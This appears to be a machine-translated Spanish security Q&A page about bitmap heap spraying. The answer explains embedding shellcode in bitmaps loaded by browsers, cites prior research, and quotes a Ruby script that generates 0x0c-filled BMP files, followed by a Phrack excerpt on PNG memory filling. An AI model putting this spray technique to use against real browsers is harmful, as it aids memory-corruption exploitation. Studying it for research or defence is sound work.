Técnica de aspersión de montón de mapa de bits

3

Hace poco estaba leyendo un PDF ( enlace ) Cuando mencionaron el heap spray con bitmaps. Ahora no explicaban exactamente cómo se podía hacer o lograr esta técnica. Cuando traté de buscar técnicas en el modo de mapa de bits, se produjo un rociado normal. Entonces, lo que estoy preguntando es para algún artículo, página web o PDF que explique, y muestra un breve fragmento de código sobre cómo realizar un reparto de mapa de bits. (Además, si alguien también pudiera dar una breve explicación de cómo funciona el rociado de pila con mapa de bits que me ayudaría mucho)

    
pregunta Fumerian Gaming 10.05.2017 - 03:31
fuente

1 respuesta

4

La idea general es incrustar shellcode en un mapa de bits que un navegador carga en el montón.

La presentación original sobre esta técnica es Punk Ode: Ocultar código de Shell en Vista simple .

Tambiénsetrataenestedocumento usar código incrustado en un gif para crear un desbordamiento de montón explotable en NetScape 6.x, x86 Linux RedHat 7.0, hace 15 años (diapositiva 9).

En cuanto a la técnica que se analiza en la diapositiva 13 de Técnicas avanzadas de pulverización Heap , el código utilizado para demostrarlo se puede encontrar en la sección titulada " Formas alternativas para rociar el montón del navegador " de corelan Heap Spraying Demystified :

# written by Moshe Ben Abu (Trancer) of www.rec-sec.com
# published on www.corelan.be with permission

bmp_width           = ARGV[0].to_i
bmp_height          = ARGV[1].to_i
bmp_files_togen     = ARGV[2].to_i

if (ARGV[0] == nil)
    bmp_width       = 1024
end

if (ARGV[1] == nil)
    bmp_height      = 768
end

if (ARGV[2] == nil)
    bmp_files_togen = 128
end

# size of bitmap file calculation
bmp_header_size     = 54
bmp_raw_offset      = 40
bits_per_pixel      = 24
bmp_row_size        = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
bmp_file_size       = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )

bmp_file            = "\x00" * bmp_file_size
bmp_header          = "\x00" * bmp_header_size
bmp_raw_size        = bmp_file_size - bmp_header_size

# generate bitmap file header
bmp_header[0,2]     = "\x42\x4D"                    # "BM"
bmp_header[2,4]     = [bmp_file_size].pack('V')     # size of bitmap file
bmp_header[10,4]    = [bmp_header_size].pack('V')   # size of bitmap header (54 bytes)
bmp_header[14,4]    = [bmp_raw_offset].pack('V')    # number of bytes in the bitmap header from here
bmp_header[18,4]    = [bmp_width].pack('V')         # width of the bitmap (pixels)
bmp_header[22,4]    = [bmp_height].pack('V')        # height of the bitmap (pixels)
bmp_header[26,2]    = "\x01\x00"                    # number of color planes (1 plane)
bmp_header[28,2]    = "\x18\x00"                    # number of bits (24 bits)
bmp_header[34,4]    = [bmp_raw_size].pack('V')      # size of raw bitmap data

bmp_file[0,bmp_header.length] = bmp_header

bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size

for i in 1..bmp_files_togen do
    bmp = File.new(i.to_s+".bmp","wb")
    bmp.write(bmp_file)
    bmp.close
end
  

Este script ruby independiente creará una imagen bmp básica que contiene 0x0c en todo el lugar. Ejecute el script, dándole el ancho y el alto deseados del archivo bmp, y la cantidad de archivos para crear:

root@bt:/spray# ruby bmpheapspray_standalone.rb 1024 768 1
root@bt:/spray# ls -al
total 2320
drwxr-xr-x  2 root root    4096 2011-12-31 08:52 .
drwxr-xr-x 28 root root    4096 2011-12-31 08:50 ..
-rw-r--r--  1 root root 2361654 2011-12-31 08:52 1.bmp
-rw-r--r--  1 root root    1587 2011-12-31 08:51 bmpheapspray_standalone.rb
root@bt:/spray#

Información adicional sobre este tema del artículo de Phrack Aplicación automática de parches de Microsoft XML con desalineaciones y factoriales :

  

- [3.4 - Llenar la memoria 1: imágenes

     

Debido a que la región de memoria que se debe controlar es bastante grande, mi   La idea inicial era utilizar algunos objetos grandes precalculados para rellenar   tal, como imágenes. El núcleo de la idea es que, cada dato   que puede ser consumida y procesada por la aplicación de destino (por ejemplo, salida   o renderizado) tiene su lugar y una representación en el proceso objetivo   memoria. Pensando así no nos dejamos atrapar en términos estereotipados de   'pulverización de pilas' y las técnicas específicas asociadas con ella, muchas de   que ya están mitigados en los navegadores.

     

La idea de usar imágenes gráficas en el desarrollo de vulnerabilidades no es   nuevo. Fue introducido por primera vez en 2006 por Sutton et al. [3], cuya investigación   Enfocado principalmente en la estética de la esteganografía shellcode en imágenes.   en lugar de resolver cualquier problema de pulverización en pilas (ya que no había ninguna   En ese tiempo). Más tarde, algunos investigadores revisaron la misma idea en el   contexto de la pulverización en pilas, pero nunca ha encontrado una aplicación real,   principalmente porque los mapas de bits (como el único formato capaz de incorporar un   el patrón de bytes "como está") es enorme y solo puede reducirse con la ayuda de   Medidas del lado del servidor, mientras se utilizan otros formatos de imagen para el control de la memoria.   Los propósitos están cargados con problemas de cálculo de recompresión.

     

Aparte de la compresión GZIP del lado del servidor, otra solución que nunca   Nota pública es PNG. La compresión PNG es muy simple y no lo hace.   afectar a la estructura de mapa de bits en general. Como resultado, una imagen BMP de 2Mb.   que contiene un patrón simple de 1 byte se puede convertir en un PNG de ~ 500 bytes   imagen, que se descomprimirá de nuevo en el mapa de bits original en el   Procesamiento de memoria de proceso.

     

Sin embargo, hay dos problemas:

     
  1. Cuanto más variable es el patrón de mapa de bits de origen, más grande es la   imagen PNG resultante; una limitación natural de cualquier compresión.

  2.   
  3. El PNG descomprimido tiene bytes adicionales en los datos de mapa de bits, inyectados después   Cada 3 bytes del mapa de bits original. Probablemente sea un canal de transparencia.   o algún otro dato específico del formato PNG.

  4.   

Las buenas noticias:

     
  1. En el punto en que la imagen PNG se carga y descomprime con la   pero aún no se muestra en la página web, los datos de mapa de bits en el   la memoria de proceso corresponde completamente a la fuente BMP.

  2.   
  3. Una imagen grande se asigna en una porción comparativamente grande y continua de   memoria, ubicada en un desplazamiento de memoria algo predecible.

  4.   

La técnica de pulverización PNG demostró no ser adecuada para este particular   caso porque se requeriría un patrón de relleno de memoria altamente variable,   Y así las imágenes tendrían que ser demasiado grandes de todos modos. Sin embargo todavía se ve   Como una técnica interesante para el llenado rápido de grandes áreas de memoria con   un patrón de bytes simple.

    
respondido por el SYS_V 10.05.2017 - 05:03
fuente

Lea otras preguntas en las etiquetas